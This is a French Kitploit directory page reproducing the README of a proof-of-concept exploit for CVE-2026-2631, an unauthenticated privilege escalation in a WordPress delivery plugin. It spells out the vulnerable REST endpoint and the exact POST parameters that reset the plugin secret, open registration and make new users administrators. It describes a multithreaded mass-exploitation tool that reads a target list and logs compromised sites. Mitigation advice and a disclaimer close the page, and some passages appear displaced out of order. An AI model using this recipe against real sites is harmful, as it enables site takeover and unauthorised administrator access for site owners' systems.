Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-2631 — Datalogics Ecommerce Delivery – Datalogics < 2.6.60 - Escalade de privilèges non authentifiée | Kitploit
Outils/GitHubGitHub/nxploited/cve-2026-2631
Escalade de PrivilègesAnalyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionApprentissage et ÉducationRed Teaming
GitHubnxploited/cve-2026-2631

CVE-2026-2631

Datalogics Ecommerce Delivery – Datalogics < 2.6.60 - Escalade de privilèges non authentifiée

Voir le dépôt
3il y a 5 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-2631

Datalogics Ecommerce Delivery – Datalogics < 2.6.60 - Escalade de privilèges non authentifiée

💥 CVE-2026-2631 – Datalogics Ecommerce Delivery (WordPress) – Escalade de privilèges non authentifiée

PoC / Script d'exploitation : CVE-2026-2631.py
Auteur : Khaled Alenazi (Nxploited) – Nxploited ZeroDay Hub
Contact : Telegram : @Kxploit


🧬 Aperçu de la vulnérabilité

  • Plugin : Datalogics Ecommerce Delivery – Datalogics (WordPress)
  • Versions affectées : < 2.6.60 (exclus)
  • Type de vulnérabilité : Escalade de privilèges non authentifiée
  • CVE : CVE-2026-2631
  • CVSS v3.1 : 9.8 (Critique)
    AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
  • Publié publiquement : 12 mars 2026
  • Dernière mise à jour : 19 mars 2026
  • Chercheur : Khaled Alenazi (Nxploited)

Le plugin Datalogics Ecommerce Delivery – Datalogics expose un point de terminaison non authentifié :

root@kitploit:~
/wp-json/gsf/v1/update-options

Ce script exploite ce point de terminaison pour :

  1. 💣 Réinitialiser la clé interne shop_secret en utilisant l'action resetStoreConfigrations.
  2. 🔓 Activer l'enregistrement des utilisateurs : users_can_register = 1.
  3. 👑 Définir le rôle par défaut des nouveaux utilisateurs à administrator : default_role = administrator.
  4. 🧑‍💻 Enregistrer automatiquement un nouvel utilisateur via le formulaire d'inscription WordPress :
    • wp-login.php?action=register

En cas de succès, tout nouvel utilisateur créé via le formulaire d'inscription sera un administrateur.


⚙️ Fonctionnalités

  • ✅ Exploitation massive contre plusieurs cibles WordPress (à partir d'un fichier).
  • ✅ Non authentifié (aucune connexion/cookie requis).
  • ✅ Réinitialisation automatique de shop_secret via le point de terminaison REST vulnérable.
  • ✅ Mise à jour automatique des options WordPress :
    • users_can_register = 1
    • default_role = administrator
  • ✅ Enregistrement automatique de compte avec des identifiants personnalisés.
  • ✅ Sortie TUI riche avec rich (tableau coloré et mis à jour en direct).
  • ✅ Multithread avec nombre de threads réglable.
  • ✅ Journalisation des résultats dans Login_admin.txt.

📦 Prérequis

🐍 Runtime

  • Python 3.x (recommandé 3.8+)

📚 Paquets Python

Installer les paquets requis :

root@kitploit:~
pip install -r requirements.txt

Exemple de requirements.txt :

root@kitploit:~
requests
rich
urllib3

Ou installer manuellement :

root@kitploit:~
pip install requests rich urllib3

🧪 Logique du script (flux de haut niveau)

Pour chaque cible :

  1. Normaliser l'URL

    • S'assure que http:// est ajouté si absent.
    • Supprime les barres obliques finales.
  2. Réinitialiser la clé shop_secret

    • Point de terminaison :
      /wp-json/gsf/v1/update-options
    • Données POST :
      • action = resetStoreConfigrations
      • shop_secret = <new_secret>
    • Recherche dans la réponse le texte :
      • app secret key has been updated successfully
  3. Mettre à jour les options WordPress

    • Même point de terminaison, avec :
      • action = createUpdateOption
    • Deux mises à jour d'options :
      1. option_key = users_can_register, option_value = 1
      2. option_key = default_role,

🧵 Modèle de multithreading

  • Lit toutes les cibles depuis list.txt (ou un fichier personnalisé).
  • Divise les cibles en N lots avec chunkify.
  • Lance N threads de travail, chacun traitant sa propre liste de cibles.
  • Utilise une Queue partagée pour les messages d'état vers le thread d'affichage.
  • Un thread d'affichage dédié (printer_loop) met à jour une table rich en direct :
    • Affiche l'index, le site, le statut (SUCCESS/FAILED/ERROR) et le détail.
    • Affiche le total traité et le nom du fichier de sortie.

🚀 Utilisation

1️⃣ Exécution de base

root@kitploit:~
python3 CVE-2026-2631.py

Vous serez invité interactivement à fournir :

  1. Fichier de cibles

    • Invite : Targets file (one host/URL per line) [list.txt]:
    • Défaut : list.txt
    • Chaque ligne : domaine ou URL complète
      • Exemples :
        • victim.com
        • https://target-site.com
        • http://example.org/blog
  2. Threads

    • Invite : Threads (1-50) [10]:
    • Défaut : 10
    • Maximum : 50
      Plus de threads = plus rapide, mais charge plus élevée sur votre système et les cibles.
  3. Valeur de shop_secret

    • Invite : shop_secret [Nxploited_newSecret]:
    • Défaut : Nxploited_newSecret
      C'est la nouvelle clé secrète envoyée à resetStoreConfigrations.

Ces identifiants seront utilisés pour la tentative d'enregistrement sur chaque cible vulnérable.


2️⃣ Format du fichier de cibles

Créez list.txt (ou tout fichier de votre choix) avec une cible par ligne :

root@kitploit:~
example1.com
http://example2.com
https://shop.example3.net
blog.target-site.org

Le script va :

  • Ajouter automatiquement http:// si manquant.
  • Supprimer le / final.

3️⃣ Sortie et résultats

  • Toutes les opérations réussies (même si l'enregistrement échoue mais que les options sont définies) sont écrites dans :

    Login_admin.txt

  • Une ligne typique :

    root@kitploit:~
    http://example1.com | register_url: http://example1.com/wp-login.php?action=register | shop_secret: Nxploited_newSecret | reset_ok,option_ok,option_ok,register_open,registered user=Nx_test1 [email protected] pass=Nx_adminSA
    
  • Exemples de statuts dans le tableau en direct :

    • ✅ SUCCESS – options définies et/ou utilisateur enregistré.
    • ❌ FAILED – réinitialisation/options échouées, vulnérabilité non exploitable.
    • ⚠️ ERROR – Exception, erreurs réseau, timeouts, etc.

🧱 Points de terminaison HTTP et paramètres

🔓 Point de terminaison REST vulnérable

root@kitploit:~
POST /wp-json/gsf/v1/update-options

1. Réinitialiser shop_secret

root@kitploit:~
action=resetStoreConfigrations
shop_secret=<new_secret>

2. Mettre à jour les options

root@kitploit:~
action=createUpdateOption
shop_secret=<new_secret>
option_key=users_can_register
option_value=1
root@kitploit:~
action=createUpdateOption
shop_secret=<new_secret>
option_key=default_role
option_value=administrator

🧑‍💻 Point de terminaison d'enregistrement

root@kitploit:~
GET/POST /wp-login.php?action=register

Le script :

  • Extrait _wpnonce s'il est présent.
  • Envoie les données d'enregistrement avec le nom d'utilisateur, l'email et le mot de passe fournis (si les champs existent).

🔧 Fonctions internes du script (clés)

  • normalize_site(raw: str) -> str
    Normalise les URLs des cibles.

  • send_reset_secret(site: str, secret: str, timeout: int = 10) -> (bool, str)
    Tente l'action resetStoreConfigrations.

  • send_option(site: str, secret: str, key: str, value: str, timeout: int = 10) -> (bool, str)
    Définit les options WordPress via le point de terminaison vulnérable.

  • check_registration_open(site: str, timeout: int = 10) -> (bool, str)
    Vérifie si l'inscription est ouverte et le formulaire accessible.

  • try_register_user(...) -> (bool, str)
    Tente d'enregistrer l'utilisateur fourni.

  • write_success_line(site: str, secret: str, detail: str)
    Enregistre les détails du succès dans Login_admin.txt.

  • worker(...)
    Thread de travail qui :

    1. Réinitialise

🧪 Exemple d'exécution (interactive)

root@kitploit:~
$ python3 CVE-2026-2631.py

[Banniere / ASCII Art]

Targets file (one host/URL per line) [list.txt]:
> list.txt

Threads (1-50) [10]:
> 20

shop_secret [Nxploited_newSecret]:
> NxSecret2026!

Registration username [Nx_test1]:
> admin_nx

Registration email [[email protected]]:
> [email protected]

Registration password [Nx_adminSA]:
> SuperStrongP@ss!

[Tableau en direct montrant le statut de chaque cible]
Processed 5/20 targets · Output: Login_admin.txt

Done. Successful sites (if any) saved to Login_admin.txt.

🛡️ Atténuation et recommandations

Pour les défenseurs / propriétaires de sites :

  • 🔁 Mettre à jour le plugin vers la version 2.6.60 ou ultérieure immédiatement.
  • 🧹 Vérifier :
    • La liste des utilisateurs WordPress pour les administrateurs inconnus.
    • Les inscriptions récentes dans wp_users.
  • 🔑 Régénérer les clés ou secrets utilisés par le plugin.
  • 📜 Inspecter les journaux d'accès pour les requêtes vers :
    • /wp-json/gsf/v1/update-options
    • /wp-login.php?action=register
  • 🧱 Envisager des règles WAF pour bloquer les accès non autorisés aux points de terminaison REST sensibles.

⚠️ Avertissement légal

Ce script est fourni strictement à des fins éducatives et de tests de sécurité autorisés uniquement.

  • Vous ne devez pas utiliser cet outil sur un système, une application ou un réseau sans autorisation écrite explicite du propriétaire.
  • L'accès non autorisé, l'exploitation ou l'abus de vulnérabilités est illégal et peut entraîner des poursuites pénales.
  • L'auteur (Khaled Alenazi – Nxploited), les contributeurs et les distributeurs de ce script :
    • ❌ N'assument aucune responsabilité pour :
      • Une mauvaise utilisation de ce code
      • Des dommages causés directement ou indirectement
      • Toute conséquence légale résultant de son utilisation
  • En utilisant ce script, vous acceptez que :
    • Vous êtes seul responsable de vos actions.
    • Vous vous conformerez à toutes les lois et réglementations locales, nationales et internationales applicables.
    • Vous utiliserez cet outil uniquement dans des environnements contrôlés et/ou avec une autorisation appropriée (PT/Red Team, bug bounty, labo, etc.).

Si vous n'acceptez pas ces conditions, n'utilisez pas ce script.


❤️ Crédits

  • Recherche & Exploitation :
    • Khaled Alenazi (Nxploited) – Nxploited ZeroDay Hub
  • CVE : CVE-2026-2631
  • Contact : @Kxploit sur Telegram

Restez en sécurité, piratez de manière responsable. 🕶️💻

Télécharger l’outil
option_value = administrator
  • Modèle de succès :
    • wordpress option has been created or updated successfully
  • Vérifier si l'inscription est ouverte

    • URL :
      /wp-login.php?action=register
    • Vérifie le HTML pour :
      • Users can register, Anyone can register, user_registration, registerform
    • Ou détecte explicitement :
      • user registration is currently not allowed
  • Tenter l'enregistrement d'utilisateur

    • Même URL d'enregistrement.
    • Extrait _wpnonce du champ caché s'il est présent.
    • Envoie POST d'enregistrement :
      • user_login, user_email
      • user_pass/user_pass2 si les champs de mot de passe existent
      • _wpnonce, _wp_http_referer, redirect_to, wp-submit=Register
    • Détecte le succès par :
      • registration complete, check your email, user registered
    • Si le nom d'utilisateur existe déjà :
      • Marque comme succès : user_already_exists
  • Journalisation

    • Chaque mise à jour d'option réussie (avec ou sans succès d'enregistrement) écrit une ligne dans :
      • Login_admin.txt
    • Format :
      root@kitploit:~
      <site> | register_url: <url> | shop_secret: <secret> | <details>
      
  • Identifiants d'enregistrement

    • Registration username [Nx_test1]:
    • Registration email [[email protected]]:
    • Registration password [Nx_adminSA]:
  • shop_secret
  • Définit les options
  • Vérifie l'inscription
  • Tente l'enregistrement
  • Journalise le résultat et pousse le statut dans la queue
  • printer_loop(queue: Queue, total: int)
    Lit les messages de la queue et met à jour une interface utilisateur rich en direct.

  • main()
    Orchestre :

    • Bannière
    • Invites utilisateur
    • Chargement des cibles
    • Lancement des threads
    • Attente et message final.